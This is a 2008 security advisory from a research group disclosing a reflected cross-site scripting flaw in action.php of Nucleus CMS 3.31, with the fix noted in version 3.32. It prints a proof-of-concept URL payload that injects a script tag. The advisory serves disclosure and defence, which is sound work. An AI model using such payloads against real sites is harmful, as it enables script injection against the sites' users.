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[!!FIX Information ] Nucleus 3.31 XSS in path

It is   updated version of advisory.  updated info in "Fix
Information" part, mistake in  vendor name.

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-006

Application:                    Nucleus CMS
Versions Affected:              3.31
Vendor URL:                     http://nucleuscms.org
Bugs:                           XSS Injection in URL
Exploits:                       YES
Reported:                       16.01.2008
Vendor response:                18.01.2008
Date of Public Advisory:        29.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Linked XSS vulnerability found in action.php, attacker can inject XSS in URL string:


        http://[server]/[installdir]/action.php/";><script>alert('DSecRG XSS')</script>

Fix Information

Nucleus was altered to fix this flaw on 29 January 2008. Updated version (3.32) can be downloaded here:



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